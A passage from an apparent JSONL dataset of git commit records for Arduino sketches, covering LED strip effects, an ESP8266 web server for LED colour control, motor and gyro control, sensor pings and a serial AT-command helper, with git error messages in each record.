\n }\n }\n\n}\n\n\nint8_t sendATcommand(char* ATcommand, char* expected_answer1,\n unsigned int timeout)\n{\n\n uint8_t x=0, answer=0;\n char response[100];\n unsigned long previous;\n\n memset(response, '\\0', 100); \/\/ Initialize the string\n delay(100);\n while( Serial.available() > 0) Serial.read(); \/\/ Clean the input buffer\n Serial.println(ATcommand); \/\/ Send the AT command \n x = 0;\n previous = millis();\n\n \/\/ this loop waits for the answer\n do{\n\n if(Serial.available() != 0){ \n response[x] = Serial.read();\n x++;\n \/\/ check if the desired answer is in the response of the module\n Serial.println(response[x]);\n if (strstr(response, expected_answer1) != NULL) \n {\n answer = 1;\n }\n }\n \/\/ Waits for the asnwer with time out\n }\n while((answer == 0) && ((millis() - previous) < timeout)); \n return answer;\n}\n\n\/*\nint8_t sendATcommand2(char* ATcommand, char* expected_answer1,\n char* expected_answer2, unsigned int timeout)\n{\n\n uint8_t x=0, answer=0;\n char response[100];\n unsigned long previous;\n\n memset(response, '\\0', 100); \/\/ Initialize the string\n\n delay(100);\n\n while( Serial.available() > 0) Serial.read(); \/\/ Clean the input buffer\n\n Serial.println(ATcommand); \/\/ Send the AT command \n\n\n x = 0;\n previous = millis();\n\n \/\/ this loop waits for the answer\n do{\n\n if(Serial.available() != 0){ \n response[x] = Serial.read();\n x++;\n \/\/ check if the desired answer is in the response of the module\n if (strstr(response, expected_answer1) != NULL) \n {\n answer = 1;\n }\n \/\/ check if the desired answer is in the response of the module\n if (strstr(response, expected_answer2) != NULL) \n {\n answer = 2;\n }\n }\n \/\/ Waits for the asnwer with time out\n }\n while((answer == 0) && ((millis() - previous) < timeout)); \n\n return answer;\n}*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/Arduino_Code\/test_network3g\/test_network3g.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ea9c174dd9f6e02f50335de24e1beed27727ac31","subject":"Adding code without debouncing","message":"Adding code without debouncing\n","repos":"GeoffSpielman\/Hackathin_Examples","old_file":"Button_Debouncing\/Button_Debouncing.ino","new_file":"Button_Debouncing\/Button_Debouncing.ino","new_contents":"const int BTN = 12; \nconst int LED = 3; \n\nbool ledOn = false;\n\nvoid setup() {\n pinMode(BTN, INPUT);\n pinMode(LED, OUTPUT);\n}\n\nvoid loop() {\n if (digitalRead(BTN)){\n ledOn = !ledOn;\n if (ledOn){\n digitalWrite(LED, HIGH);\n }\n else{\n digitalWrite(LED, LOW);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Button_Debouncing\/Button_Debouncing.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec7a4aeae20438ceebfbc3b97146005fb0fe19e9","subject":"FreqMeasureSerial","message":"FreqMeasureSerial\n","repos":"ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook","old_file":"FreqMeasureSerial\/FreqMeasureSerial.ino","new_file":"FreqMeasureSerial\/FreqMeasureSerial.ino","new_contents":"\/* FreqMeasure - Example with serial output\n * http:\/\/www.pjrc.com\/teensy\/td_libs_FreqMeasure.html\n *\n * This example code is in the public domain.\n *\/\n#include <FreqMeasure.h>\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"begin\");\n FreqMeasure.begin();\n}\n\nvoid loop() {\n Serial.print(\"available:\");\n Serial.print(FreqMeasure.available());\n if (FreqMeasure.available()) {\n Serial.print(\" \");\n int a = FreqMeasure.available();\n for (int i=0;i<a;i++)\n {\n uint32_t n = FreqMeasure.read();\n float frequency = FreqMeasure.countToFrequency(n);\n \/\/Serial.print(n);\n \/\/Serial.print(\" \");\n Serial.print(frequency);\n Serial.print(\" \");\n }\n }\n Serial.println();\n delay(1000); \/\/ wait for a second\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FreqMeasureSerial\/FreqMeasureSerial.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8d035c215f9fefa9c3f0413c32705c9f3fd8442c","subject":"Intel Code","message":"Intel Code\n","repos":"matmello\/smartedu,matmello\/smartedu","old_file":"Intel Edison Code\/SmartEDU\/SmartEDU.ino","new_file":"Intel Edison Code\/SmartEDU\/SmartEDU.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Intel' did not match any file(s) known to git\nerror: pathspec 'Edison' did not match any file(s) known to git\nerror: pathspec 'Code\/SmartEDU\/SmartEDU.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"28fef2ae17f12a31e290b3b8e364e09bcd16938d","subject":"Create chase_target_values_verC.ino","message":"Create chase_target_values_verC.ino","repos":"marmilicious\/FastLED_examples","old_file":"chase_target_values_verC.ino","new_file":"chase_target_values_verC.ino","new_contents":"\/\/ Test of chasing random target values, version C. (Slowed down)\n\/\/\n\/\/ Random target values are generated and assigned to random pixels.\n\/\/ Pixel brightness is then increased or decreased toward the target.\n\/\/\n\/\/ This version incorporates a hue shift based on the pixel value.\n\/\/ The high and low color choices can be changed below in the variables.\n\/\/ Saturation is kept at full, but it could also easily be tweaked.\n\/\/\n\/\/\n\/\/ Marc Miller, Jan 2016\n\/\/---------------------------------------------------------------\n\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806 \/\/ *Update to your strip type. NEOPIXEL, APA102, LPD8806, etc..\n#define COLOR_ORDER GRB\n#define DATA_PIN 11 \/\/ *Set this to your data pin.\n#define CLOCK_PIN 13\n#define NUM_LEDS 32 \/\/ *Update to the number of pixels in your strip.\n\n#define MASTER_BRIGHTNESS 140\n\nCRGB leds[NUM_LEDS];\nCHSV leds_vu[NUM_LEDS]; \/\/ FastLED array using HSV.\n\nuint8_t target[NUM_LEDS]; \/\/ Array to store target (brightness) values.\nuint8_t delta; \/\/ Amount to increase\/decrease (brightness) value by.\nuint8_t pixel; \/\/ Which pixel to operate on.\nuint8_t temp; \/\/ Used for testing.\nuint8_t highCutoff = 230; \/\/ High value where hue ramp ends.\nuint8_t lowCutoff = 20; \/\/ Low value cutoff before flooring to zero.\nuint8_t ccc = 0; \/\/ color combination choice (ccc)\n\n\/\/ Initial color combinations choice (ccc = 0)\nuint8_t hue_high = 0; \/\/ red for high values with,\nuint8_t hue_low = 96; \/\/ green for low values.\n\n\n\/\/---------------------------------------------------------------\nvoid setup() { \n Serial.begin(115200); \/\/ Allows serial output (check baud rate)\n delay(3000); \/\/ 3 second delay\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN>(leds, NUM_LEDS);\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(MASTER_BRIGHTNESS);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() { \n \/\/ Assign new random target values after a bit.\n EVERY_N_MILLISECONDS(2000) {\n for (int i=0; i < ( NUM_LEDS \/ 2 ); i++){ \/\/ Only do about half the pixels.\n pixel = random8(NUM_LEDS); \/\/ Pick random pixel.\n target[pixel] = random8(); \/\/ Assign random value.\n while (target[pixel] > 90 && target[pixel] < 160) { \/\/ Avoid some middle values, pick again.\n target[pixel] = random8(); \/\/ Assign another random value.\n }\n if (target[pixel] < lowCutoff){\n target[pixel] = 0; \/\/ Force low values to clamp to zero.\n }\n }\n Serial.println(\"*New targets assigned!*\");\n }\/\/end assign new target values\n\n\n EVERY_N_MILLISECONDS(50) {\n for (uint8_t i=0; i < NUM_LEDS; i++){\n \/\/ Check current values against target values.\n if (leds_vu[i].value < target[i]){ \/\/ less then the target, so fade up.\n delta = ((target[i] - leds_vu[i].value) \/ 8) + 1;\n if (leds_vu[i].value + delta >= target[i]){\n leds_vu[i].value = target[i]; \/\/ limit to target.\n }\n else {\n leds_vu[i].value = leds_vu[i].value + delta;\n }\n }\n else { \/\/ greater then the target, so fade down.\n delta = ((leds_vu[i].value - target[i]) \/ 8) + 1; \/\/ +1 so delta is always at least 1.\n if (leds_vu[i].value - delta <= target[i]){\n leds_vu[i].value = target[i]; \/\/ limit to target.\n }\n else {\n leds_vu[i].value = leds_vu[i].value - delta;\n }\n }\n if (i == 0){ temp = delta; } \/\/ Save first pixel's delta to print below.\n \n \/\/ Tweak hue color based on brightness.\n int c_hue = constrain(leds_vu[i].value,lowCutoff,highCutoff);\n leds_vu[i].hue = map(c_hue, lowCutoff, highCutoff, hue_low, hue_high);\n \/\/ map(valueIn, fromLow, fromHigh, toLow, toHigh)\n \n \/\/ Set saturation.\n leds_vu[i].saturation = 255;\n \n \/\/ Copy the HSV leds_vu[] data to the leds[] array.\n leds[i] = leds_vu[i];\n \/\/ FastLED will automatically convert HSV to RGB data. Converting from HSV\n \/\/ to RGB is very fast and also accurate. It is also possible to convert from\n \/\/ RGB to HSV, but it is not automatic, not as acurate, and not as fast.\n \n }\/\/end of looping over all the pixels checking targets.\n }\/\/end EVERY_N*\n\n \/\/ Continuosly fade target to zero.\n EVERY_N_MILLISECONDS(20) {\n for (int j=0; j < NUM_LEDS; j++){\n if (target[j] > lowCutoff){\n target[j] -= 1; \/\/ Fade by this amount.\n }\n else {\n target[j] = 0; \/\/ If target less then lowCutoff, clamp to zero.\n }\n }\n }\/\/end of continuously fading target down.\n\n \/\/ Print out info for led[0] to understand how the numbers are changing.\n EVERY_N_MILLISECONDS(50) {\n \/\/Serial.print(\" target = \"); Serial.print(target[0]);\n \/\/\/\/Serial.print(\"\\t leds_vu[0].hue = \"); Serial.print(leds_vu[0].hue);\n \/\/Serial.print(\"\\t leds_vu[0].val = \"); Serial.print(leds_vu[0].value);\n \/\/Serial.print(\"\\t delta = \"); Serial.println(temp);\n } \n\n FastLED.show(); \/\/ Display the leds[] array.\n\n EVERY_N_SECONDS(10) { \/\/ Pick a new color combination choice (ccc).\n ccc = random(4);\n if (ccc == 0) {\n hue_high = 0; \/\/ red for high values\n hue_low = 96; \/\/ green for low values\n }\n if (ccc == 1) {\n hue_high = 96; \/\/ green for high values\n hue_low = 192; \/\/ purple for low values\n }\n if (ccc == 2) {\n hue_high = 105; \/\/ green for high values\n hue_low = 15; \/\/ red for low values\n }\n if (ccc == 3) {\n hue_high = 82; \/\/ yellow-green for high values\n hue_low = 140; \/\/ aqua for low values\n }\n Serial.print(\"*Color combination choice done!* ccc: \"); Serial.println(ccc);\n }\/\/end EVERY_N* ccc\n\n}\/\/end main loop\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chase_target_values_verC.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f97ae114a32af28a52472c99a4471bde169fb69","subject":"6 motors","message":"6 motors\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_calib2.ino","new_file":"motor_calib2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0db55cd168decddf95cacde1f962ebf7b462e77a","subject":"add arduino code","message":"add arduino code\n","repos":"gabetax\/nagelier","old_file":"arduino\/Nagalier_SciHackDay2013\/Nagalier_SciHackDay2013.ino","new_file":"arduino\/Nagalier_SciHackDay2013\/Nagalier_SciHackDay2013.ino","new_contents":"\/\/LED code for Nagaliers. Changes your lighting based on your activity level logged by Fitbit. \n\/*************************************************************************************\/\n\n#include \"FastSPI_LED2.h\"\n#define NUM_LEDS 60\n\nstruct CRGB leds[NUM_LEDS];\nint colorval = 0; \/\/ Variable to hold the changing \"mood light\" strip color.\nint steps=0;\n\nvoid setup() {\n LEDS.setBrightness(250);\n LEDS.addLeds<WS2811, 5>(leds, NUM_LEDS);\n Serial.begin(9600);\n}\n\n\nvoid loop() {\n \/\/get the step count\n if (Serial.available() > 0) {\n steps = Serial.read();\n }\n \/\/light up the strip!\n if(steps==255) rainbow(colorval % 384); \/\/if you've met your step goal\n else if(steps==0) angryFlash(); \/\/ if you're behind schedule\n else RGBcolorFill(steps); \/\/ if you're making progress\n colorval++; \/\/ increment the color for the reward rainbow when you've met step goals.\n}\n \n \n\/\/Fill the strip with 1\/3 of a rainbow, starting from color c\nvoid rainbow(uint32_t c) {\n uint16_t i;\n for (i=0; i < NUM_LEDS; i++) {\n leds[i] = RGBWheel(((i * 128 \/ NUM_LEDS) + c) % 384); \/\/ 128 = 384\/3 = 1\/3 of the rainbow.\n }\n LEDS.show();\n}\n\n\/\/ Fill the strip with a single color.\nvoid RGBcolorFill(uint32_t c) {\n int i;\n c = map(c, 0, 255, 0, 300);\n for (i=0; i < NUM_LEDS; i++) {\n leds[i] = RGBWheel(c); \/\/ set all active pixels on\n }\n LEDS.show();\n }\n\n\/\/ Flash red.\nvoid angryFlash() {\n int i;\n \/\/Turn strip red.\n for (i=0; i < NUM_LEDS; i++) {\n leds[i] = CRGB(0, 255, 0); \/\/ set all active pixels red\n }\n LEDS.show();\n delay(100); \n \/\/Turn strip off.\n for (int i=0; i < NUM_LEDS; i++) {\n memset(leds, 0, NUM_LEDS * sizeof(struct CRGB));\n }\n LEDS.show();\n delay(100);\n }\n\n\/* RGB Color Wheel Helper function *\/\n\/\/Input a value 0 to 384 to get a color value.\nCRGB RGBWheel(uint16_t WheelPos) {\n byte r, g, b;\n switch(WheelPos \/ 128)\n {\n case 0:\n r = 127 - WheelPos % 128; \/\/ red down\n g = WheelPos % 128; \/\/ green up\n b = 0; \/\/ blue off\n break;\n case 1:\n g = 127 - WheelPos % 128; \/\/ green down\n b = WheelPos % 128; \/\/ blue up\n r = 0; \/\/ red off\n break;\n case 2:\n b = 127 - WheelPos % 128; \/\/ blue down\n r = WheelPos % 128; \/\/ red up\n g = 0; \/\/ green off\n break;\n }\n return(CRGB(b, r, g)); \/\/colors are in a stupid order.\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Nagalier_SciHackDay2013\/Nagalier_SciHackDay2013.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"105f845246fa4f0dbe3e972312232bf638ff0fb2","subject":"First version of esp code.","message":"First version of esp code.\n","repos":"jaakkopasanen\/Tunable-White-LED,jaakkopasanen\/Tunable-White-LED,jaakkopasanen\/Tunable-White-LED","old_file":"esp8266\/main\/main.ino","new_file":"esp8266\/main\/main.ino","new_contents":"#include <ESP8266WiFi.h>\n\/\/#include <WiFiClient.h>\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n#include <WiFiManager.h>\n#include <ESP8266mDNS.h>\n#include <ArduinoJson.h>\n#include <cmath>\nconst int redPin_ = 15; \/\/12\nconst int greenPin_ = 13; \/\/15\nconst int bluePin_ = 12; \/\/13\nconst int w1Pin_ = 14;\nconst int w2Pin_ = 4;\nconst int led1Pin_ = 5;\nconst int led2Pin_ = 1;\nconst int pwmRange_ = 1023;\nESP8266WebServer server(80);\n\n\/**\n * Data structure for CIE 1976 UCS color coordinates\n *\/\nstruct Cie1976Ucs {\n float L;\n float u;\n float v;\n} luv_;\n\n\/**\n * Data structure for RGB color\n *\/\nstruct RGB {\n float R;\n float G;\n float B;\n} raw_;\n\n\/**\n * Get raw pwm values\n * Values are normalized in the range 0..1\n *\/\nRGB getRaw () {\n return raw_;\n}\n\n\/**\n * Set raw pwm values\n * Values must be normalized to the range 0..1\n *\/\nvoid setRaw (RGB raw) {\n\n \/\/ Limit values in the range 0..1\n if (raw.R < 0) raw.R = 0;\n if (raw.R > 1) raw.R = 1;\n if (raw.G < 0) raw.G = 0;\n if (raw.G > 1) raw.G = 1;\n if (raw.B < 0) raw.B = 0;\n if (raw.B > 1) raw.B = 1;\n \n \/\/ Convert input floats to integers in the pwm range\n int pwmR = static_cast<int>(raw.R * pwmRange_ + 0.5);\n int pwmG = static_cast<int>(raw.G * pwmRange_ + 0.5);\n int pwmB = static_cast<int>(raw.B * pwmRange_ + 0.5);\n\n \/\/ Write PWMs\n analogWrite(redPin_, pwmR);\n analogWrite(greenPin_, pwmG);\n analogWrite(bluePin_, pwmB);\n\n Serial.print(\"Wrote PWM: \");\n Serial.print(pwmR); Serial.print(\", \");\n Serial.print(pwmG); Serial.print(\", \");\n Serial.println(pwmB);\n\n \/\/ Save values\n raw_.R = static_cast<float>(pwmR) \/ pwmRange_;\n raw_.G = static_cast<float>(pwmG) \/ pwmRange_;\n raw_.B = static_cast<float>(pwmB) \/ pwmRange_;\n\n Serial.print(\"Saved raw: \");\n Serial.print(raw_.R); Serial.print(\", \");\n Serial.print(raw_.G); Serial.print(\", \");\n Serial.println(raw_.B);\n}\n\n\/**\n * Get CIE 1976 UCS color coordinates\n *\/\nCie1976Ucs getCie1976Ucs () {\n return luv_;\n}\n\n\/**\n * Set CIE 1976 UCS color coordinates\n *\/\nvoid setCie1976Ucs (Cie1976Ucs luv) {\n\n Serial.print(\"Setting luv: \");\n Serial.print(luv.L); Serial.print(\", \");\n Serial.print(luv.u); Serial.print(\", \");\n Serial.println(luv.v);\n\n \/\/ Save values\n luv_.L = luv.L;\n luv_.u = luv.u;\n luv_.v = luv.v;\n\n \/\/ Convert to raw PWM values\n RGB raw;\n raw.R = 1 - 2 * sqrt( pow((luv.u - 0.5444), 2.0) + pow((luv.v - 0.5183), 2.0) );\n raw.G = 1 - 2 * sqrt( pow((luv.u - 0.0412), 2.0) + pow((luv.v - 0.5837), 2.0) );\n raw.B = 1 - 2 * sqrt( pow((luv.u - 0.1232), 2.0) + pow((luv.v - 0.1657), 2.0) );\n\n Serial.print(\"Converted to raw: \");\n Serial.print(raw.R); Serial.print(\", \");\n Serial.print(raw.G); Serial.print(\", \");\n Serial.println(raw.B);\n\n \/\/ Write PWMs\n setRaw(raw);\n}\n\n\/**\n * Getters and setters for onboard leds\n *\/\nbool getLed1 () { return !digitalRead(led1Pin_); }\nvoid setLed1 (bool val) { digitalWrite(led1Pin_, !val); }\nbool getLed2 () { return !digitalRead(led2Pin_); }\nvoid setLed2 (bool val) { digitalWrite(led2Pin_, !val); }\n\n\/**\n * Responses with PWM, CIE1976UCS and sRGB values\n *\/\nvoid httpIndexController () {\n server.send(200, \"application\/json\", \"Hello\");\n}\n\n\/**\n * HTTP API for onboard led control\n *\/\nvoid httpOnboardLedsController () {\n int led1 = -1;\n int led2 = -1;\n\n \/\/ Parse args\n for (uint8_t i = 0; i < server.args(); ++i) {\n if (server.argName(i) == \"led1\") {\n led1 = server.arg(i).toInt();\n } else if ( server.argName(i) == \"led2\") {\n led2 = server.arg(i).toInt();\n }\n }\n\n \/\/ LED 1\n if (led1 == -1) led1 = getLed1();\n else setLed1(led1);\n\n \/\/ LED 2\n if (led2 == -1) led2 = getLed2();\n else setLed2(led2);\n\n \/\/ JSON response\n StaticJsonBuffer<JSON_OBJECT_SIZE(2)> jsonBuffer;\n JsonObject& json = jsonBuffer.createObject();\n json[\"led1\"] = led1;\n json[\"led2\"] = led2;\n String response;\n json.prettyPrintTo(response);\n\n server.send(200, \"application\/json\", response);\n}\n\n\/**\n * HTTP API for CIE 1976 UCS color coordinates\n *\/\nvoid httpCie1976UcsController () {\n float L = -1, u = -1, v = -1;\n \/\/ Parse args\n for (uint8_t i = 0; i < server.args(); ++i) {\n if (server.argName(i) == \"L\") {\n L = server.arg(i).toFloat();\n } else if (server.argName(i) == \"u\") {\n u = server.arg(i).toFloat();\n } else if (server.argName(i) == \"v\") {\n v = server.arg(i).toFloat();\n }\n }\n\n int httpStatus = 200;\n\n \/\/ All or none of the parameters must be missing\n if (L > 0 && u > 0 && v > 0) {\n \/\/ All parameters given -> set new color\n Cie1976Ucs luv = {L, u, v};\n setCie1976Ucs(luv);\n \n } else if (L < 0 && u < 0 && v < 0) {\n \/\/ None of the parameters given -> read existing color\n Cie1976Ucs luv = getCie1976Ucs();\n L = luv.L;\n u = luv.u;\n v = luv.v;\n \n } else {\n \/\/ Some of the parameters missing -> invalid request\n httpStatus = 400;\n }\n\n \/\/ JSON response\n StaticJsonBuffer<60> jsonBuffer;\n JsonObject& json = jsonBuffer.createObject();\n json[\"L\"] = L;\n json[\"u\"] = u;\n json[\"v\"] = v;\n String response;\n json.prettyPrintTo(response);\n\n \/\/ Send response\n server.send(httpStatus, \"application\/json\", response);\n}\n\n\/**\n * HTTP API for raw PWM values\n *\/\nvoid httpRawController () {\n float R = -1, G = -1, B = -1;\n\n \/\/ Parse args\n for (uint8_t i = 0; i < server.args(); ++i) {\n if (server.argName(i) == \"R\") {\n R = server.arg(i).toFloat();\n } else if (server.argName(i) == \"G\") {\n G = server.arg(i).toFloat();\n } else if (server.argName(i) == \"B\") {\n B = server.arg(i).toFloat();\n }\n }\n\n int httpStatus = 200;\n\n \/\/ All or none of the parameters must be missing\n if (R > 0 && G > 0 && B > 0) {\n \/\/ All parameters given -> set new color\n RGB raw = {R, G, B};\n setRaw(raw);\n \n } else if (R < 0 && G < 0 && B < 0) {\n \/\/ None of the parameters given -> read existing color\n RGB raw = getRaw();\n R = raw.R;\n G = raw.G;\n B = raw.B;\n \n } else {\n \/\/ Some of the parameters missing -> invalid request\n httpStatus = 400;\n }\n\n \/\/ JSON response\n StaticJsonBuffer<60> jsonBuffer;\n JsonObject& json = jsonBuffer.createObject();\n json[\"R\"] = R;\n json[\"G\"] = G;\n json[\"B\"] = B;\n String response;\n json.prettyPrintTo(response);\n\n \/\/ Send response\n server.send(httpStatus, \"application\/json\", response);\n}\n\nvoid httpNotFoundController () {\n server.send(404, \"text\/plain\", \"404\");\n}\n\nvoid setup(void){\n analogWriteRange(pwmRange_);\n \n pinMode(led1Pin_, OUTPUT); digitalWrite(led1Pin_, HIGH);\n pinMode(led2Pin_, OUTPUT); digitalWrite(led2Pin_, HIGH);\n pinMode(redPin_, OUTPUT); analogWrite(redPin_, 0);\n pinMode(greenPin_, OUTPUT); analogWrite(greenPin_, 0);\n pinMode(bluePin_, OUTPUT); analogWrite(bluePin_, 0);\n pinMode(w1Pin_, OUTPUT); analogWrite(w1Pin_, 0);\n pinMode(w2Pin_, OUTPUT); analogWrite(w2Pin_, 0);\n\n Serial.begin(115200);\n \n \/\/WiFi.begin(ssid, password);\n \n \/*while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n }*\/\n\n \/\/ Set onboard leds on as a sign for AP mode\n setLed1(true);\n setLed2(true);\n\n \/\/ Autoconnect to latest WiFi or create cofiguration portal if cannot connect as a client\n WiFiManager wiFiManager;\n \/\/wiFiManager.resetSettings();\n wiFiManager.autoConnect(\"esp8277\", \"esp8266password\");\n Serial.print(\"Connected with IP: \");\n Serial.println(WiFi.localIP());\n\n \/\/ Set onboard leds off as a sign for STA mode\n setLed1(false);\n setLed2(false);\n\n \/\/ Start Multicast domain name service\n \/\/MDNS.begin(\"esp8266\");\n\n \/\/ Routes\n server.on(\"\/\", httpIndexController);\n server.on(\"\/onboardLeds\", httpOnboardLedsController);\n server.on(\"\/raw\", httpRawController);\n server.on(\"\/cie1976Ucs\", httpCie1976UcsController);\n \/\/server.on(\"\/srgb\", httpSrgbController);\n\n \/\/ Route not found\n server.onNotFound(httpNotFoundController);\n\n \/\/ Start listening\n server.begin();\n}\n\nvoid loop(void){\n server.handleClient();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266\/main\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c4a9d6d7cd9a0f00a06df0373fa32be38af07686","subject":"rotating on spot example","message":"rotating on spot example\n","repos":"platisd\/smartcar_shield,platisd\/smartcar_shield","old_file":"examples\/Car\/rotateOnSpot\/rotateOnSpot.ino","new_file":"examples\/Car\/rotateOnSpot\/rotateOnSpot.ino","new_contents":"#include <Smartcar.h>\n#include <Wire.h>\n\nGyroscope gyro;\nCar car(Car::INVERTED);\nint motorSpeed = 200;\n\nvoid setup() {\n gyro.attach();\n car.begin(gyro);\n rotateOnSpot(90); \/\/rotate clockwise 90 degrees on spot\n delay(1000);\n rotateOnSpot(-90); \/\/rotate counter clockwise 90 degrees on spot\n}\n\nvoid loop() {\n}\n\nvoid rotateOnSpot(int targetDegrees){\n if (!targetDegrees) return; \/\/if the target degrees is 0, don't bother doing anything\n gyro.begin(); \/\/initiate the measurement\n \/* Let's set opposite speed on each side of the car, so it rotates on spot *\/\n if (targetDegrees > 0){ \/\/positive value means we should rotate clockwise\n car.setMotorSpeed(motorSpeed, -motorSpeed); \/\/ left motors spin forward, right motors spin backward\n }else{ \/\/rotate counter clockwise\n car.setMotorSpeed(-motorSpeed, motorSpeed); \/\/ left motors spin backward, right motors spin forward\n }\n while (abs(gyro.getAngularDisplacement()) <= abs(targetDegrees)){ \/\/while we have not reached the desired degrees\n gyro.update(); \/\/update the gyro readings\n }\n car.stop(); \/\/we have reached the target, so stop the car\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Car\/rotateOnSpot\/rotateOnSpot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"be8da6d1468b6817aaa6fb0f77376ad6af8535e8","subject":"New program to set the shutters to their proper position","message":"New program to set the shutters to their proper position\n","repos":"fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs","old_file":"development\/shutter-regulation.ino","new_file":"development\/shutter-regulation.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fbatta\/wbox-nodejs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"480233cf88c13b474aa7d0a785db7159dfd272e0","subject":"added DC motor sketch","message":"added DC motor sketch\n","repos":"bsatrom\/arduino-samples,bsatrom\/arduino-samples","old_file":"dcMotor\/dcMotor.ino","new_file":"dcMotor\/dcMotor.ino","new_contents":"const int motorPin = 9;\n\nvoid setup() {\n pinMode(motorPin, OUTPUT);\n \n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/serialSpeed();\n motorOnThenOff();\n \/\/motorOnThenOffWithSpeed();\n \/\/motorAcceleration();\n}\n\nvoid serialSpeed() {\n int speed;\n \n Serial.println(\"Type a speed (0-255) into the box above,\");\n Serial.println(\"then click [send] or press [return]\");\n Serial.println();\n \n while(true) {\n while (Serial.available() > 0) {\n speed = Serial.parseInt();\n speed = constrain(speed, 0, 255);\n \n Serial.print(\"Setting speed to \");\n Serial.println(speed);\n \n analogWrite(motorPin, speed);\n }\n }\n}\n\nvoid motorOnThenOff() {\n int onTime = 3000;\n int offTime = 3000;\n \n digitalWrite(motorPin, HIGH);\n delay(onTime);\n digitalWrite(motorPin, LOW);\n delay(offTime);\n}\n\nvoid motorOnThenOffWithSpeed() {\n int Speed1 = 225;\n int Time1 = 3000;\n \n int Speed2 = 125;\n int Time2 = 3000;\n \n analogWrite(motorPin, Speed1);\n delay(Time1);\n analogWrite(motorPin, Speed2);\n delay(Time2);\n}\n\nvoid motorAcceleration() {\n int speed;\n int delayTime = 20;\n \n for(speed = 0; speed <= 255; speed++) {\n analogWrite(motorPin, speed);\n delay(delayTime);\n }\n \n for(speed = 255; speed >= 0; speed--) {\n analogWrite(motorPin, speed);\n delay(delayTime);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dcMotor\/dcMotor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"09a1808025bd72fee86e8a4cfe9eab5b625dba8b","subject":"Add old ping code","message":"Add old ping code\n","repos":"jrafidi\/fencing-devices,jrafidi\/fencing-devices","old_file":"DistanceKeeper\/DistanceKeeper.ino","new_file":"DistanceKeeper\/DistanceKeeper.ino","new_contents":"\/\/ ---------------------------------------------------------------------------\n\/\/ Example NewPing library sketch that does a ping about 20 times per second.\n\/\/ ---------------------------------------------------------------------------\n\n#include <NewPing.h>\n\n#define TRIGGER_PIN 7 \/\/ Arduino pin tied to trigger pin on the ultrasonic sensor.\n#define ECHO_PIN 8 \/\/ Arduino pin tied to echo pin on the ultrasonic sensor.\n#define MAX_DISTANCE 400 \/\/ Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.\n\nNewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); \/\/ NewPing setup of pins and maximum distance.\n\nvoid setup() {\n Serial.begin(115200); \/\/ Open serial monitor at 115200 baud to see ping results.\n}\n\nvoid loop() {\n delay(100); \/\/ Wait 50ms between pings (about 20 pings\/sec). 29ms should be the shortest delay between pings.\n unsigned int uS = sonar.ping(); \/\/ Send ping, get ping time in microseconds (uS).\n unsigned int cm = uS \/ US_ROUNDTRIP_CM;\n if (cm < 80 && cm != 0) {\n Serial.println(\"HERE\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DistanceKeeper\/DistanceKeeper.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8f12cb1cb1692af3bc395bcee7b9340789a503d2","subject":"New Example pinDefDebounced","message":"New Example pinDefDebounced\n\ndemo for debouncing input pins","repos":"philbowles\/esparto,philbowles\/esparto,philbowles\/esparto,philbowles\/esparto","old_file":"examples\/ESPArto_pinDefDebounced\/ESPArto_pinDefDebounced.ino","new_file":"examples\/ESPArto_pinDefDebounced\/ESPArto_pinDefDebounced.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see 